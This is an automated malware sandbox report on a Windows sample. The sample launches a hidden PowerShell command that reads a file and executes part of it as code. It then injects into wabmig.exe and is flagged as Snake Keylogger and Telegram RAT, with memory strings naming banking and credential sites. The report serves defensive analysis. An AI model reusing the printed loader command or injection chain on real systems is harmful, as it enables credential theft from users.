Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -597671s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -597562s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -597453s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -597343s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -597234s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -597116s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -597015s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -596905s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -596796s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -596680s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -596557s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -596453s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -596343s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -596222s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -596094s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -595968s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -595841s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -595731s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -595622s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -595515s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -595406s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -595297s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -595178s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -595049s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -594922s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -594797s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -594687s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -594578s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -594469s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00405C63 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402910 FindFirstFileW,	0_2_00402910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004068B4 FindFirstFileW,FindClose,	0_2_004068B4

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599780	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599661	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599318	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599093	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598982	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598762	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598648	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598546	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598437	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598326	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598216	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597671	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597116	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596905	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596796	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596680	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596557	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596222	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596094	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595968	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595841	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595731	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595622	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595178	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595049	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594687	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594469	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts	Jump to behavior

Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: wabmig.exe, 00000007.00000002.2683738778.0000000007808000.00000004.00000020.00020000.00000000.sdmp, wabmig.exe, 00000007.00000002.2683738778.000000000785F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: file.exe, 00000000.00000002.1449609091.0000000000588000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\,@
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: wabmig.exe, 00000007.00000002.2697467542.0000000023E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: wabmig.exe, 00000007.00000002.2697467542.0000000024188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node			graph_0-3669
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node			graph_0-3674

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_04A7D6E4 LdrInitializeThunk,

2_2_04A7D6E4

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wabmig.exe base: 3FD0000			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wabmig.exe base: 94FD9C			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle minimized "$Sprag=Get-Content 'C:\Users\user\AppData\Local\acneform\Camomiles.Bev';$Depurge=$Sprag.SubString(30781,3);.$Depurge($Sprag)"			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wabmig.exe "C:\Program Files (x86)\windows mail\wabmig.exe"			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6FF61096 GetModuleFileNameW,GlobalAlloc,CharPrevW,GlobalFree,GetTempFileNameW,CopyFileW,CreateFileW,CreateFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,CloseHandle,lstrcatW,lstrlenW,GlobalAlloc,FindWindowExW,FindWindowExW,FindWindowExW,lstrcmpiW,lstrcmpiW,lstrcmpiW,DeleteFileW,GetVersion,GlobalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreatePipe,CreatePipe,CreatePipe,GetStartupInfoW,CreateProcessW,lstrcpyW,GetTickCount,WaitForSingleObject,GetExitCodeProcess,PeekNamedPipe,GetTickCount,ReadFile,IsTextUnicode,IsDBCSLeadByteEx,MultiByteToWideChar,lstrcpyW,GlobalReAlloc,lstrcpyW,GetTickCount,TerminateProcess,lstrcpyW,Sleep,lstrcpyW,wsprintfW,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,DeleteFileW,GlobalFree,GlobalFree,GlobalFree,

0_2_6FF61096

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Queries volume information: C:\Program Files (x86)\Windows Mail\wabmig.exe VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00403532

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000007.00000002.2695880589.0000000022DE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

